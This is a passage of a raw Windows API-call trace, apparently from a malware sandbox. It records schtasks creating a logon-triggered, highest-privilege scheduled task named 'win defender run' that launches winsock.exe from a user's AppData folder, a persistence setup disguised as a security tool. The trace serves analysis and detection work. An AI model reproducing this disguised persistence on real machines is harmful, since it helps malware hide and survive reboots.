RtlRestoreLastWin32Error () returned 0x0 [0163.678] GetProcessHeap () returned 0x42e0000 [0163.678] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e96b0 [0163.678] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.678] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0163.678] lstrlenW (lpString="LIMITED") returned 7 [0163.678] GetProcessHeap () returned 0x42e0000 [0163.678] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42eacc0 [0163.678] GetThreadLocale () returned 0x409 [0163.678] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0163.678] GetProcessHeap () returned 0x42e0000 [0163.678] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9410 [0163.678] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.678] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0163.678] lstrlenW (lpString="HIGHEST") returned 7 [0163.678] GetProcessHeap () returned 0x42e0000 [0163.678] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42eac18 [0163.678] GetThreadLocale () returned 0x409 [0163.678] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0163.678] GetProcessHeap () returned 0x42e0000 [0163.679] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e96d0 [0163.679] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.679] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0163.679] lstrlenW (lpString="MINUTE") returned 6 [0163.679] GetProcessHeap () returned 0x42e0000 [0163.679] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xe) returned 0x42eac90 [0163.679] GetThreadLocale () returned 0x409 [0163.679] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0163.679] GetProcessHeap () returned 0x42e0000 [0163.679] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e94f0 [0163.679] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.679] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0163.679] lstrlenW (lpString="HOURLY") returned 6 [0163.679] GetProcessHeap () returned 0x42e0000 [0163.679] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xe) returned 0x42ead80 [0163.679] GetThreadLocale () returned 0x409 [0163.679] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0163.679] GetProcessHeap () returned 0x42e0000 [0163.679] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9710 [0163.679] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.679] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0163.679] lstrlenW (lpString="DAILY") returned 5 [0163.679] GetProcessHeap () returned 0x42e0000 [0163.679] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xc) returned 0x42eac48 [0163.679] GetThreadLocale () returned 0x409 [0163.679] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0163.679] GetProcessHeap () returned 0x42e0000 [0163.680] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9550 [0163.680] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.680] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0163.680] lstrlenW (lpString="WEEKLY") returned 6 [0163.680] GetProcessHeap () returned 0x42e0000 [0163.680] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xe) returned 0x42eabd0 [0163.680] GetThreadLocale () returned 0x409 [0163.680] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0163.680] GetProcessHeap () returned 0x42e0000 [0163.680] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9530 [0163.680] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.680] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0163.680] lstrlenW (lpString="MONTHLY") returned 7 [0163.680] GetProcessHeap () returned 0x42e0000 [0163.680] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42ead68 [0163.680] GetThreadLocale () returned 0x409 [0163.680] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0163.680] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.680] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0163.680] lstrlenW (lpString="ONCE") returned 4 [0163.680] GetProcessHeap () returned 0x42e0000 [0163.680] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xa) returned 0x42ead20 [0163.680] GetThreadLocale () returned 0x409 [0163.680] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0163.680] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.680] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0163.680] lstrlenW (lpString="ONSTART") returned 7 [0163.680] GetThreadLocale () returned 0x409 [0163.680] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0163.681] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.681] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0163.681] lstrlenW (lpString="ONLOGON") returned 7 [0163.681] GetThreadLocale () returned 0x409 [0163.681] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0163.681] RtlRestoreLastWin32Error () returned 0x0 [0163.681] GetProcessHeap () returned 0x42e0000 [0163.681] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x1fc) returned 0x42ea058 [0163.681] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.681] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0163.681] lstrlenW (lpString="First") returned 5 [0163.681] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.681] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0163.681] lstrlenW (lpString="Second") returned 6 [0163.681] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.681] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0163.681] lstrlenW (lpString="Third") returned 5 [0163.681] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.681] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0163.681] lstrlenW (lpString="Fourth") returned 6 [0163.681] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.681] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0163.681] lstrlenW (lpString="Last") returned 4 [0163.681] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.682] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0163.682] lstrlenW (lpString="First") returned 5 [0163.682] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.682] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0163.682] lstrlenW (lpString="Second") returned 6 [0163.682] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.682] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0163.682] lstrlenW (lpString="Third") returned 5 [0163.682] GetProcessHeap () returned 0x42e0000 [0163.682] GetProcessHeap () returned 0x42e0000 [0163.682] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ead20) returned 1 [0163.682] GetProcessHeap () returned 0x42e0000 [0163.682] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ead20) returned 0xa [0163.682] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ead20) returned 1 [0163.682] GetProcessHeap () returned 0x42e0000 [0163.682] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xc) returned 0x42eacd8 [0163.682] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.682] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0163.682] lstrlenW (lpString="Fourth") returned 6 [0163.682] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.682] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0163.682] lstrlenW (lpString="Last") returned 4 [0163.682] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc900, cchData=128 | out: lpLCData="0") returned 2 [0163.682] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.683] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0163.683] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eacc0) returned 1 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eacc0) returned 0x10 [0163.683] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eacc0) returned 1 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x16) returned 0x42e95d0 [0163.683] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc904, cchData=128 | out: lpLCData="0") returned 2 [0163.683] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.683] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0163.683] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eac18) returned 1 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eac18) returned 0x10 [0163.683] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eac18) returned 1 [0163.683] GetProcessHeap () returned 0x42e0000 [0163.683] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x16) returned 0x42e9730 [0163.683] GetLocalTime (in: lpSystemTime=0xdcae4 | out: lpSystemTime=0xdcae4*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x1f, wMilliseconds=0x1ab)) [0163.683] GetLocalTime (in: lpSystemTime=0xdcf98 | out: lpSystemTime=0xdcf98*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x1f, wMilliseconds=0x1ab)) [0163.683] lstrlenW (lpString="") returned 0 [0163.683] lstrlenW (lpString="") returned 0 [0163.684] lstrlenW (lpString="") returned 0 [0163.684] lstrlenW (lpString="") returned 0 [0163.684] lstrlenW (lpString="") returned 0 [0163.684] lstrlenW (lpString="") returned 0 [0163.684] lstrlenW (lpString="") returned 0 [0163.684] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0163.690] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0163.699] CoCreateInstance (in: rclsid=0x2326c0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x2326d0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdceb4 | out: ppv=0xdceb4*=0x47f3880) returned 0x0 [0163.720] TaskScheduler:ITaskService:Connect (This=0x47f3880, serverName=0xdce64*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdce74*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xdce84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdce94*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0163.727] TaskScheduler:ITaskService:GetFolder (in: This=0x47f3880, Path=0x0, ppFolder=0xdcf7c | out: ppFolder=0xdcf7c*=0x47f39a8) returned 0x0 [0163.729] TaskScheduler:ITaskService:NewTask (in: This=0x47f3880, flags=0x0, ppDefinition=0xdcf8c | out: ppDefinition=0xdcf8c*=0x47f39f8) returned 0x0 [0163.730] ITaskDefinition:get_Actions (in: This=0x47f39f8, ppActions=0xdcf00 | out: ppActions=0xdcf00*=0x47f3a48) returned 0x0 [0163.730] IActionCollection:Create (in: This=0x47f3a48, Type=0, ppAction=0xdcf04 | out: ppAction=0xdcf04*=0x47f3ca0) returned 0x0 [0163.730] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.730] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.730] lstrlenW (lpString=" ") returned 1 [0163.730] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x4a) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0163.730] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x7a) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x58) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0163.731] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0163.732] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0163.732] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.732] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", wMatch=0x20) returned 0x0 [0163.732] RtlRestoreLastWin32Error () returned 0x490 [0163.732] IUnknown:Release (This=0x47f3ca0) returned 0x1 [0163.732] IUnknown:Release (This=0x47f3a48) returned 0x1 [0163.732] ITaskDefinition:get_Triggers (in: This=0x47f39f8, ppTriggers=0xdcad0 | out: ppTriggers=0xdcad0*=0x47f3be8) returned 0x0 [0163.732] ITriggerCollection:Create (in: This=0x47f3be8, Type=9, ppTrigger=0xdcae4 | out: ppTrigger=0xdcae4*=0x47f3ce0) returned 0x0 [0163.733] IUnknown:QueryInterface (in: This=0x47f3ce0, riid=0x2313b4*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xdcacc | out: ppvObject=0xdcacc*=0x47f3ce0) returned 0x0 [0163.733] IUnknown:Release (This=0x47f3ce0) returned 0x2 [0163.733] _vsnwprintf (in: _Buffer=0xdca54, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdca34 | out: _Buffer="2024-02-07T23:11:00") returned 19 [0163.733] ITrigger:put_StartBoundary (This=0x47f3ce0, StartBoundary="2024-02-07T23:11:00") returned 0x0 [0163.733] lstrlenW (lpString="") returned 0 [0163.733] lstrlenW (lpString="") returned 0 [0163.733] lstrlenW (lpString="") returned 0 [0163.733] lstrlenW (lpString="") returned 0 [0163.733] IUnknown:Release (This=0x47f3ce0) returned 0x1 [0163.733] IUnknown:Release (This=0x47f3be8) returned 0x1 [0163.733] ITaskDefinition:get_Settings (in: This=0x47f39f8, ppSettings=0xdcf0c | out: ppSettings=0xdcf0c*=0x47f3b00) returned 0x0 [0163.733] lstrlenW (lpString="") returned 0 [0163.733] IUnknown:Release (This=0x47f3b00) returned 0x3 [0163.734] GetLocalTime (in: lpSystemTime=0xdce00 | out: lpSystemTime=0xdce00*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x1f, wMilliseconds=0x1d9)) [0163.734] ResolveDelayLoadedAPI () returned 0x73f5c5f0 [0163.734] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xdce10, nSize=0xdcdf8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xdcdf8) returned 0x1 [0163.734] ITaskDefinition:get_RegistrationInfo (in: This=0x47f39f8, ppRegistrationInfo=0xdcdfc | out: ppRegistrationInfo=0xdcdfc*=0x47f3a90) returned 0x0 [0163.734] IRegistrationInfo:put_Author (This=0x47f3a90, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0163.734] _vsnwprintf (in: _Buffer=0xdce10, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdcdd0 | out: _Buffer="2024-02-07T23:11:31") returned 19 [0163.735] IRegistrationInfo:put_Date (This=0x47f3a90, Date="2024-02-07T23:11:31") returned 0x0 [0163.735] IUnknown:Release (This=0x47f3a90) returned 0x1 [0163.735] malloc (_Size=0xc) returned 0x47f3d70 [0163.735] free (_Block=0x47f3d70) [0163.735] lstrlenW (lpString="") returned 0 [0163.735] ITaskDefinition:get_Principal (in: This=0x47f39f8, ppPrincipal=0xdcf94 | out: ppPrincipal=0xdcf94*=0x47f3c28) returned 0x0 [0163.735] IPrincipal:put_RunLevel (This=0x47f3c28, RunLevel=1) returned 0x0 [0163.736] IUnknown:Release (This=0x47f3c28) returned 0x1 [0163.736] malloc (_Size=0xc) returned 0x47f3d70 [0163.736] ITaskFolder:RegisterTaskDefinition (in: This=0x47f39a8, Path="win defender run", pDefinition=0x47f39f8, flags=6, UserId=0xdcef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdcf00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xdcf14*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdcf5c | out: ppTask=0xdcf5c*=0x47f21b0) returned 0x0 [0163.795] free (_Block=0x47f3d70) [0163.795] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.795] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0163.795] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0163.795] GetProcessHeap () returned 0x42e0000 [0163.795] GetProcessHeap () returned 0x42e0000 [0163.795] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eac90) returned 1 [0163.795] GetProcessHeap () returned 0x42e0000 [0163.795] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42eac90) returned 0xe [0163.795] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42eac90) returned 1 [0163.795] GetProcessHeap () returned 0x42e0000 [0163.795] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x82) returned 0x42fa250 [0163.795] _vsnwprintf (in: _Buffer=0xdd3b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdcf24 | out: _Buffer="SUCCESS: The scheduled task \"win defender run\" has successfully been created.\n") returned 78 [0163.795] __iob_func () returned 0x756f1208 [0163.795] _fileno (_File=0x756f1228) returned 1 [0163.795] _errno () returned 0x47f05b0 [0163.795] _get_osfhandle (_FileHandle=1) returned 0x3c [0163.795] _errno () returned 0x47f05b0 [0163.796] GetFileType (hFile=0x3c) returned 0x2 [0163.796] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0163.796] GetFileType (hFile=0x3c) returned 0x2 [0163.796] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdcef8 | out: lpMode=0xdcef8) returned 1 [0163.796] __iob_func () returned 0x756f1208 [0163.797] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0163.797] lstrlenW (lpString="SUCCESS: The scheduled task \"win defender run\" has successfully been created.\n") returned 78 [0163.797] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdd3b0*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0xdcf1c, lpReserved=0x0 | out: lpBuffer=0xdd3b0*, lpNumberOfCharsWritten=0xdcf1c*=0x4e) returned 1 [0163.800] IUnknown:Release (This=0x47f21b0) returned 0x0 [0163.800] TaskScheduler:IUnknown:Release (This=0x47f39f8) returned 0x0 [0163.800] TaskScheduler:IUnknown:Release (This=0x47f39a8) returned 0x0 [0163.800] TaskScheduler:IUnknown:Release (This=0x47f3880) returned 0x0 [0163.800] lstrlenW (lpString="") returned 0 [0163.800] GetProcessHeap () returned 0x42e0000 [0163.800] GetProcessHeap () returned 0x42e0000 [0163.800] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ea058) returned 1 [0163.800] GetProcessHeap () returned 0x42e0000 [0163.800] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ea058) returned 0x1fc [0163.801] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ea058) returned 1 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e94d0) returned 1 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42e94d0) returned 0x16 [0163.801] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42e94d0) returned 1 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eaca8) returned 1 [0163.801] GetProcessHeap () returned 0x42e0000 [0163.801] RtlSizeHeap 